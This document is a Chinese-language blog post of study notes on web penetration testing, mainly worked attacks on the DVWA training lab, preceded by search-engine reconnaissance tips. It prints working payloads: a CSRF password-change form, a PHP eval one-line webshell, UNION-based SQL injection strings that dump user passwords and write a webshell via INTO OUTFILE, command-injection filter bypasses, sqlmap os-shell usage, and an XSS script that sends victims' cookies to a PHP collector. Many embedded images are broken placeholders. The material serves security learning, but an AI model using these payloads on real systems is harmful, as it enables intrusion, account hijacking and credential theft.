intext:搜索站點頁面內(nèi)容中具有關(guān)鍵字內(nèi)容的網(wǎng)址(各種語法可以混合使用)
想查看目標(biāo)站點有沒泄露的數(shù)據(jù)庫文件 filetype:搜索出特定后綴名的文件(site:testphp.vulnweb.com filetype:sql)
Bing上還提供同IP站點查詢功能(旁站)(ip:xxx.xxx.xxx.xxx)
info:“url”(Google) 命令可以返回站點的基本介紹
site:“url” inurl:phpinfo.php 查看是否泄露phpinfo.php文件
site:“url” inurl:php? 查找數(shù)據(jù)庫交互頁面,針對所示頁面可進(jìn)行SQL注入的檢測
site:“url” filetype:log 查找站點泄露的日志文件
cache:“url” 可查看目標(biāo)站點之前的緩存,即使目標(biāo)站點關(guān)閉
網(wǎng)絡(luò)空間搜索
工具:SHODAN(撒旦 國外)、ZoomEye(鐘馗之眼 國內(nèi))、FOFA(佛法 國內(nèi))
以ZoomEye為例:
app:組件名 ver:組件版本 搜索類型為WEB時出現(xiàn)的是具體站點
app:IIS //搜索IIS服務(wù)器信息,若為web應(yīng)用,搜索出的是站點;
port:21 //查看開放21端口的目標(biāo)服務(wù)器。
基本原理:探測/爬取IP段和站點 --> (對目標(biāo)站點)識別/打標(biāo)簽 --> (將識別后的信息)存儲供檢索
在線Web工具
對目標(biāo)站點的基本信息探測:
1)whatweb.net:包括站點的IP地址、服務(wù)器、CMS版本、腳本庫等
2)www.ipip.net:用來查詢IP詳情,還展示其他IP查詢站點的數(shù)據(jù)
3)www.cmd5.com:用來查詢多種加解密算法
4)tool.chinaz.com(站長工具):提供多種小工具
5)安全圈info:提供各種的web工具網(wǎng)站等
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-SdE2FYVC-1679106191748)(C:\Users\11373\Desktop\學(xué)習(xí)!!!\第三課知識點梳理-腦圖\第三課-Web安全工具章節(jié)結(jié)構(gòu).png)]
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-eLmqyPYF-1679106191749)(C:\Users\11373\Desktop\學(xué)習(xí)!!!\第三課知識點梳理-腦圖\第三課 Web安全工具知識點梳理.png)]
04 WEB安全實戰(zhàn)
主要圍繞DVWA滲透測試平臺。幾乎涵蓋了所有熱門漏洞(暴力破解、命令注入、CSRF、文件操作、SQL注入、XSS)
學(xué)習(xí)中會遇到各種各樣的服務(wù)器(Windows,Linux,python);各種各樣的網(wǎng)站(asp,aspx,jsp,php,python);各種各樣的工具;各種各樣的代碼(只需要關(guān)注漏洞代碼本身,不需要全部弄懂);重要的是思路。
1)驗證是否存在SQL注入方法:
手工驗證:admin’ ;admin’ and’1’=‘1;admin’ and’1’='2
2)如何利用SQL注入跑出管理員密碼?
(1)使用工具:設(shè)置瀏覽器代理–>抓包–>SQLmap自動跑–>獲得數(shù)據(jù)庫名,表名,含管理員密碼的字段–>讀取管理員密碼
(2)不依賴工具純手工
DVWA部署
DVWA(Damn Vulnerable Web Application)是以php編寫的web滲透測試環(huán)境。
1)以Firefox瀏覽器為例:
Tamper Data:是一款抓HTTP/HTTPS的插件,具備截包、看包、改包、發(fā)包,可插入自己的攻擊代碼,方便對網(wǎng)站進(jìn)行安全測試
瀏覽器與PHP交互的過程:
瀏覽器–>找到頁面–>Hello.php–>服務(wù)器找到文件位置處理PHP<–>與數(shù)據(jù)庫進(jìn)行交互–>返回給瀏覽器HTML頁面
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Z9voQtPA-1679106191750)(C:\Users\11373\Pictures\PT~AN8GO_[62{@S@23H`@[1.png)]
DVWA
包含了很多安全漏洞程序,如暴力破解(Brute Force Attack)、命令注入(OS COMMAND INJECTION)、跨站請求偽造(Cross Site Request Forgert)、文件包含漏洞(FILE INCLUSION)、文件上傳漏洞(FILE UPLOADS)、SQL注入(SQL Injection)、跨站腳本攻擊(CROSS SITE SCRIPTING Attacks)。
暴力破解
暴力≈窮舉法 ;破解≈可破解任何有規(guī)律的信息
OWASP ZAP(新工具):截取并處理網(wǎng)絡(luò)端口的數(shù)據(jù)包,可將破解過程自動化。
可通過響應(yīng)包大小確定破解結(jié)果。
當(dāng)網(wǎng)站安全等級為高級時,簡單的暴力破解失效。觀察響應(yīng)包發(fā)現(xiàn)每次都會出現(xiàn)上一次數(shù)據(jù)的usertoken。需要重新設(shè)計破解動作。
破解動作:訪問首頁——獲得usertoken參數(shù)——發(fā)送呆usertoken的登錄數(shù)據(jù)包
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-6nTc3XZz-1679106191750)(C:\Users\11373\Pictures\QQ圖片20191031213643.png)]
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-sQXfu2BR-1679106191751)(C:\Users\11373\Pictures\QQ圖片20191031213653.png)]
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-jGZKGGrc-1679106191751)(C:\Users\11373\Pictures\QQ圖片20191031213657.png)]
以上是各過程對應(yīng)的python腳本
對于高等級防護(hù),自己運行腳前需要修改自己的本地IP地址和自己登錄的PHPSESSID!
可通過驗證碼來防止暴力破解。
命令注入
命令=操作系統(tǒng)的命令;注入=通過web程序在服務(wù)器上拼接系統(tǒng)命令
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-lzDf32uN-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101110317184.png)]
命令注入流程:(重點)
(1)由輸入127.0.0.1后出現(xiàn)的頁面判斷調(diào)用了Windows的ping命令。
PING(Packet Internet Groper) , 因特網(wǎng)包探索器,用于測試網(wǎng)絡(luò)連接量的程序。Ping是工作在 TCP/IP網(wǎng)絡(luò)體系結(jié)構(gòu)中應(yīng)用層的一個服務(wù)命令,主要是向特定的目的主機(jī)發(fā)送 ICMP(Iternet Control Message Protocol 因特網(wǎng)報文控制協(xié)議)Echo 請求報文,測試目的站是否可達(dá)及了解其有關(guān)狀態(tài)。(百度百科)
**(2)**ping (固定字段:ping+空格)127.0.0.1(可控字段:任意)
**(3)ping 127.0.0.1&&**net uesr(判斷&&拼接符號可以使用)
注:Windows下鏈接兩條命令用&&;若&&被過濾,&也可以連接命令,|也可連接兩命令。
修復(fù)命令注入漏洞通常使用白名單,例如DVWA安全模式為impossible
命令拼接符號的區(qū)別(&,&&,|,||)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-FxRosutX-1679106191752)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101114032660.png)]
low等級&&可通過;medium等級&可通過;high等級|可通過。
如果過濾了敏感命令怎么辦?
Windows中可以用**"“來繞過,例如:whoami–>who"“ami–>who”“am”"i Linux中不僅支持”"也支持’'**
如果不顯示輸出結(jié)果怎么辦?
(1)延時注入。通過響應(yīng)時間來判斷(2)遠(yuǎn)程請求。前端不響應(yīng)但在web服務(wù)端能夠查到請求(3)DNS查詢
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-7p58PYlO-1679106191753)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101115847510.png)]
CSRF實戰(zhàn)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-HpQZwwfa-1679106191754)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101125500626.png)]
受害者角度:用戶在當(dāng)前已登陸的Web應(yīng)用程序上執(zhí)行非本意的操作
攻擊者角度:攻擊者欺騙瀏覽器,讓其以受害者的名義執(zhí)行自己想要的操作
low等級可以直接使用tamper data修改密碼數(shù)據(jù);medium等級中使用low方法失效,通過對比成功與失敗的數(shù)據(jù)包,發(fā)現(xiàn)referer不同,通過修改達(dá)到改密目的,referer只要包含host就能繞過限制
攻擊者思路:構(gòu)造HTML,構(gòu)造鏈接,誘騙受害者點擊,受害者點擊,攻擊者登錄
<html>
<body>
<form action="http://192.168.2.106/DVWA-1.9/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker" />
<input type="hidden" name="password_conf" value="hacker" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Click Me" />
</form>
</body>
</html>
以上是攻克low等級的html腳本。稍加修改并保存到以host為名的文件夾中,在瀏覽器中打開能夠攻克medium等級。
調(diào)整至high等級,修改密碼成功的url中多了user_token,同暴力破解相同,每改一次會變換一次代碼,代碼來自上一個響應(yīng)包。需要結(jié)合XSS漏洞獲取頁面中的user_token參數(shù)。
CSRF Token :這種隨機(jī)參數(shù)統(tǒng)稱為csrf token,它保證了攻擊者無法猜測到所有參數(shù)
為何暴力破解可以突破CSRF Token?
因為構(gòu)造HTTP請求的人不一樣:暴力破解的攻擊者是當(dāng)前用戶,受害者是其他用戶;CSRF的攻擊者是其他用戶,受害者是當(dāng)前用戶。
在impossible等級中修改密碼需要輸入原始密碼,有效地防止了CSRF。
對于CSRF的修復(fù):
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-d9UoAgNS-1679106191755)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101162527395.png)]
HTTP Referer:
HTTP Referer是header的一部分,當(dāng)瀏覽器向web服務(wù)器發(fā)送請求的時候,一般會帶上Referer,告訴服務(wù)器該網(wǎng)頁是從哪個頁面鏈接過來的,服務(wù)器因此可以獲得一些信息用于處理。
文件包含漏洞
文件包含:一種代碼處理方法,函數(shù)如include、require等,參數(shù)是文件名。
漏洞:文件名參數(shù)用戶可控且過濾不嚴(yán),被攻擊者偷梁換柱
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-TTcRLlpB-1679106191755)(C:\Users\11373\Pictures\QQ圖片20191101165437.png)]
通過觀察url,修改并觀察是否掃描文件,若掃描文件就可以利用
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-xIE5xmKR-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170511865.png)]
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-8YJgrBWN-1679106191756)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101170647967.png)]
要訪問以上內(nèi)容,需要通過…/返回上一級目錄兩次,然后訪問指定文件。
要驗證是否能夠執(zhí)行遠(yuǎn)程文件。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-QDjlGhim-1679106191757)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101171448280.png)]
在A服務(wù)器上上傳得到webshell文件后在B服務(wù)器執(zhí)行該文件。
low等級的url在medium等級不適用。通過觀察返回信息用排除法證明,…/被服務(wù)器過濾掉?!璡也可以返回上一級目錄。判斷遠(yuǎn)程文件執(zhí)行的代碼也被過濾掉了某些字符。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-CDYGS7ya-1679106191762)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191101172300374.png)]
由排除法,知道了網(wǎng)站只過濾http://一個完整結(jié)構(gòu),分開并不過濾,因此使用上圖方法處理成功。
本地文件的讀取還可以使用**file://**協(xié)議,文件傳輸協(xié)議,訪問本地計算機(jī)中的文件
遠(yuǎn)程文件文件的讀取在high中只支持file本地文件讀取,需要結(jié)合文件上傳漏洞來完成讀取。
文件上傳漏洞
Web允許用戶上傳惡意代碼文件,并在服務(wù)器上運行
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-vtf851tt-1679106191763)(C:\Users\11373\Pictures\QQ圖片20191106191250.png)]
一句話web shell(cmd.php)
<?php
@eval($_GET['cmd'])
?> //可調(diào)用cmd中的系統(tǒng)命令
上傳失敗后可通過ZAP抓包來判斷失敗原因 。主要的方法還是不斷地嘗試。
medium等級通過ZAP修改文件類型就可以上傳成功
high等級嘗試多種方式后均失敗,采用**制作“內(nèi)涵圖”**的方式。
將文本文件與圖片結(jié)合達(dá)到上傳代碼的目的。cmd中輸入 copy 1.jpg/b+1.txt/a 2.jpg
用編輯器打開新圖片,發(fā)現(xiàn)php代碼在最后。
還可以借助web容器解析漏洞,例如nginx解析洞。**畸形解析:**xxx.xxx/xxx.php只要前一個文件存在,就會當(dāng)成后一個文件解析
注:在cmd中,圖片屬于二進(jìn)制文件,需要在其后面加上/b;文本文件加上/a。
在impossible中,上傳的圖片被服務(wù)器重新生成了正常的圖片。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-RIzpxjnC-1679106191763)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106204628717.png)]
阻止非法文件上傳已經(jīng)能夠阻止絕大多數(shù)的文件上傳漏洞!
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-PMqZE3Ax-1679106191764)(C:\Users\11373\Pictures\QQ圖片20191106204743.png)]
阻止非法文件執(zhí)行也可以有效的防止漏洞!
SQL回顯注入
命令注入是注入的系統(tǒng)命令,而SQL注入是注入的SQL語句。
SQL回顯注入是把數(shù)據(jù)庫的執(zhí)行結(jié)果直接顯示到頁面上
探測是否存在漏洞:輸入1’,若存在sql注入漏洞,那么系統(tǒng)會報錯并將錯誤信息展示出來(錯誤回顯)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ZpQxCaZm-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106205806614.png)]
1024=1024是真,再加上or,這個語句為真。我們需要寫的poc語句是
1 or 1024=1024
1' or '1024'='1024
1" or "1024"="1024
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Uhw3e3Zj-1679106191764)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191106210200940.png)]
查詢數(shù)據(jù)庫過程(重要):
1. 確定查詢字段數(shù)
1)輸入1’ order by 1-- ,返回正常說明字段數(shù)≥1(注意-- 后面的空格)
2)輸入1’ order by X-- ,報錯,說明字段數(shù)≤X,X為猜測值
3)繼續(xù)猜測我們可以用二分法,10與1之間取5,5和1取3等。
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-PFPMURui-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107191955419.png)]
2. 確定回顯點
要用到 union select命令。
id=xx' union select 1,2
3. 查詢數(shù)據(jù)庫信息 例如
id=xx' union select @@version,@@datadir //查詢數(shù)據(jù)庫版本和文件目錄
4. 查詢用戶名和數(shù)據(jù)庫名
id=xx' union select user(),database()
5. 查詢表名(數(shù)據(jù)庫名dvwa)
id=xx' union select 1,table_name from information_schema.tables where table_schema='dvwa'
注:查詢數(shù)據(jù)表名要用到information_schema.tables?。?/p>
6. 查詢列名(字段名)(表名dvwa.users)
id=xx' union select 1,column_name from information_schema.columns where table_name='users'
注:查詢列名要用到information_schema.columns??!
7. 查詢用戶名和密碼
id=xx' union select user,password from users //表名
8. 文件讀取
要用到**lode_file()**函數(shù)
id=xx' union select load_file("文件路徑")
9. 寫Web shell
php一句話木馬
<?php
@eval($_GET['cmd'])l;
?> //用來執(zhí)行cmd系統(tǒng)命令
如何寫入?
可故意構(gòu)造錯誤的SQL語句,讓web服務(wù)器爆出web根目錄。 用到select …into outfile …
id=xx' union select "<?php @eval($_GET['cmd'])l;?>","webshell" into outfile "web根目錄" //黑客是不會明顯的寫入web shell的
SQL注入自動化:sqlmap。
1. 攻擊參數(shù) -u 用來指定url,-p 用來指定id參數(shù), –cookie用來指定cookie參數(shù)(phpsessid)
輸入-u"" -p"" --cookie""后的執(zhí)行結(jié)果:
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ADMMw8Lm-1679106191765)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201433029.png)]
2. 獲取當(dāng)前用戶和數(shù)據(jù)庫名(–current-user --current-db)
用到**–current-user --current-db**
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-NN5M8l4O-1679106191766)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107201725201.png)]
3.查詢表名–tables、字段名–columns
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-en1m22Sm-1679106191766)(C:\Users\11373\Pictures\QQ圖片20191107201944.png)]
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-2LbjdXKg-1679106191766)(C:\Users\11373\Pictures\QQ圖片20191107202050.png)]
4.查詢用戶名密碼 --dump(重要)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-SwwfadlW-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107202221.png)]
sqlmap支持自動破解md5,可將哈希值自動破解。
5.上傳Web shell --os-shell
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-X3XNHIUT-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107202412.png)]
然后再指定物理路徑,就可以成功執(zhí)行系統(tǒng)命令,例如dir。
在medium等級中,ID不能手動輸入,可以通過Tamper Data手動提交post、確定POC來完成注入。
注:SQL注入中,遇到轉(zhuǎn)義字符串的單引號‘和雙引號”會被轉(zhuǎn)義,通過將其HEX編碼來執(zhí)行
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-ElOUF5FW-1679106191767)(C:\Users\11373\Pictures\QQ圖片20191107203019.png)]
medium等級中,通過post提交的數(shù)據(jù)在**–data**中而不是-u
high等級中,手工注入與low相同,在sqlmap自動注入時不同。注入的點與返回的點不在同一個頁面,需要用到**–second-order命令來指定返回的頁面**
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-uIMV2poV-1679106191767)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191107203823437.png)]
在impossible等級中,查看源代碼發(fā)現(xiàn)檢測了id數(shù)據(jù)類型,使用了預(yù)編譯綁定id變量有效地防止了SQL注入
修復(fù)SQL注入漏洞最普遍的方式是參數(shù)化SQL語句,除了預(yù)編譯還可以使用存儲過程。通過用戶輸入進(jìn)行過濾,使用白名單過濾
SQL盲注
盲注不會顯示SQL注入的結(jié)果
涉及的命令:
(1)獲取字符串長度length(str),通過二分法確定長度。
(2)獲取字符串中單個字符串substr(expression,start,length)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-Yd3lze9o-1679106191768)(C:\Users\11373\Pictures\AZNY[RHO9WYX4O6{9$%W5GN.png)]
select substr('test',2,3); //獲取test的后三個字符
(3)獲取第一個字符的ASCII數(shù)值(字符串) ascii(string)
select ascii('test');
注:單字符的ASCII碼范圍:0-127,查詢ascii碼也用二分法,逐個確認(rèn)。
SQL盲注分為布爾型(上)和延時型(下)
用到的函數(shù):
(1)if(expr1,expr2,expr3) 如果expr1為真,返回expr2,否則返回expr3
select if(1,'true','false');
(2)延時休眠函數(shù)sleep(N) 休眠(N秒)
select sleep(3);
(3)**benchmark(count,expr)**重復(fù)執(zhí)行一個方法多少次
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-CpgqoyjG-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110121156304.png)]
select benchmark(50000000000,md5('test'));
利用sqlmap自動化執(zhí)行,–current-db -v 1-6 (-v表示輸出詳細(xì)信息 1表示最少,6表示最多)
(1)cast(expression as data_type)將十六進(jìn)制轉(zhuǎn)化為字符串
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-b4GIOfPP-1679106191768)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122554818.png)]
(2)ifnull(expr1,expr2)如果expr1是null,返回expr2,否則返回本身
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-c5V686xW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110122723724.png)]
selecct ifnull('test',null)
(3)mid(expression,start,length) 類似于substr,用來獲取子字符串
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-76PAHrYW-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123209238.png)]
(4)ord(string) 類似于ascii函數(shù)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-HMopNug0-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110123324986.png)]
在high等級中,發(fā)現(xiàn)id在cookie參數(shù)中。
XSS
本質(zhì)上是客戶端代碼注入,通常注入代碼是JavaScript,區(qū)別于命令注入、sql注入等服務(wù)端代碼注入
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-WzBDsLTm-1679106191769)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110124553653.png)]
反射型
通過注入尖括號腳本來檢查是否存在漏洞
js彈窗函數(shù):alert() ,confirm() ,prompt() 根據(jù)服務(wù)器的過濾情況選擇函數(shù)
[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來直接上傳(img-AgwBqVlQ-1679106191770)(C:\Users\11373\AppData\Roaming\Typora\typora-user-images\image-20191110125606800.png)]
攻擊者可以以用戶身份進(jìn)行任意的操作。
1.獲取用戶cookie生成txt文件的php代碼:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie,txt',$cookie);
?>
2.攻擊js腳本
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script> //訪問參數(shù)中的地址,將cookie復(fù)制進(jìn)url
3.已知name參數(shù)存在xss,構(gòu)造攻擊url,還需要將js腳本進(jìn)行url編碼(hackbar)文章來源:http://www.zghlxwxcb.cn/news/detail-727075.html
http://10.240.138.212/DVWA-1.9/vulnerabilitira/xss_r/?name=<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
4.劫持會話,將獲得的cookie在攔截頁面中修改cookie,成功已a(bǔ)dmin身份進(jìn)入文章來源地址http://www.zghlxwxcb.cn/news/detail-727075.html
到了這里,關(guān)于學(xué)習(xí)web入門知識匯總的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!